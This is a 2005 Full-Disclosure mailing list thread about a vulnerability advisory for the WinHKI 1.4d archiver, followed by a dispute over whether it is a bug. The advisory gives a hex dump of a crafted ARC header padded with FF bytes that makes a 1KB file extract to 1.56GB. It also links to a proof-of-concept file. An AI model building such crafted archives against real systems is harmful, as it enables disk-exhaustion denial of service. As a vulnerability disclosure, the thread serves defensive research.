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From: rivgi at finjan.com (Rafel Ivgi) Subject: WinHKI - ARC File Extraction of 1KB to 1.56GB The original file wasn't a 1.56 with null that were compressed, it was a smal file with 1024 FF's which was extracted to a 1.56 of nulls...that is not obvious, that is a bug. Rafel Ivgi Security Consultant ----- Original Message ----- From: "bipin gautam" <visitbipin@...oo.com> To: <full-disclosure@...ts.netsys.com> Sent: Saturday, January 08, 2005 11:29 AM Subject: Re: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB > that's obvious isn't it... say... if you create a few > GB file with null characters, 0X00 and compress > it...... that will produce a similar result. such > issue is known for any file compress utility for ages. > > > any... software will do the same! try it. and THAT'S > OBVIOUS! > --- "Rafel Ivgi, The-Insider" <theinsider@....net.il> > wrote: > >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> Application: WinHKI >> Vendors: http://www.webtoolmaster.com >> Versions: 1.4d >> Platforms: Windows >> Bug: ARC File Extraction of 1KB to 1.56GB >> Exploitation: Local (extract file) >> Date: 24 Dec 2004 >> Author: Rafel Ivgi, The-Insider >> E-Mail: the_insider@...l.com >> Website: http://theinsider.deep-ice.com >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> 1) Introduction >> 2) Bugs >> 3) The Code >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> =============== >> 1) Introduction >> =============== >> >> WinHKI is a file archiever which supports: ARC, BH, >> CAB, HKI, JAR, LHA,TAR, >> >> GZ compressions. >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> ====== >> 2) Bug >> ====== >> >> This is a normal CAB compressed file header >> >> 00000000 1A02 3235 312E 4854 4D00 5E5E 5E5E 5E1B >> ..251.HTM.^^^^^. >> 00000010 0000 0078 3139 73B5 121B 0000 003C 7363 >> ...x19s......<sc >> 00000020 7269 7074 FB3E 616C 6572 7428 293C 2F73 >> ript.>alert()</s >> 00000030 6372 6970 743E 0D0A 1A00 >> cript>.... >> >> By adding after the filename header a certain amount >> of chars >> and replacing all nulls (00) with FF (in order to >> avoid our >> long string from being terminated) >> >> 00000000 1A02 3235 312E 4854 4DFF 5E5E 5E5E 5EFF >> ..251.HTM.^^^^^. >> 00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000000F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000100 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000110 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000120 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000130 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000140 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000150 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000160 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000170 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000180 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000190 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000001F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000200 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000210 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000220 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000230 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000240 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000250 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000260 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000270 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000280 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000290 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000002F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000300 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000310 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000320 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000330 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000340 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000350 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000360 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000370 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000380 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000390 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 000003F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF >> ................ >> 00000400 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FF1B >> ................ >> 00000410 FFFF FF78 3139 73B5 121B FFFF FF3C 7363 >> ...x19s......<sc >> 00000420 7269 7074 FB3E 616C 6572 7428 293C 2F73 >> ript.>alert()</s >> 00000430 6372 6970 743E 0D0A 1A00 >> cript>.... >> >> >> HKI will create a 1.56 GIGA BYTE file on at the >> selected extract location. >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> =========== >> 3) The Code >> =========== >> >> An online proof of concept can be found at: >> http://theinsider.deep-ice.com/hki156gb.ARC >> >> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >> >> --- >> Rafel Ivgi, The-Insider >> http://theinsider.deep-ice.com >> >> "Scripts and Codes will make me D.O.S , but they >> will never HACK me." >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: >> http://lists.netsys.com/full-disclosure-charter.html >> > > > > > __________________________________ > Do you Yahoo!? > Yahoo! Mail - Easier than ever with enhanced search. Learn more. > http://info.mail.yahoo.com/mail_250 > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html ----------------------------------------------- This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm)
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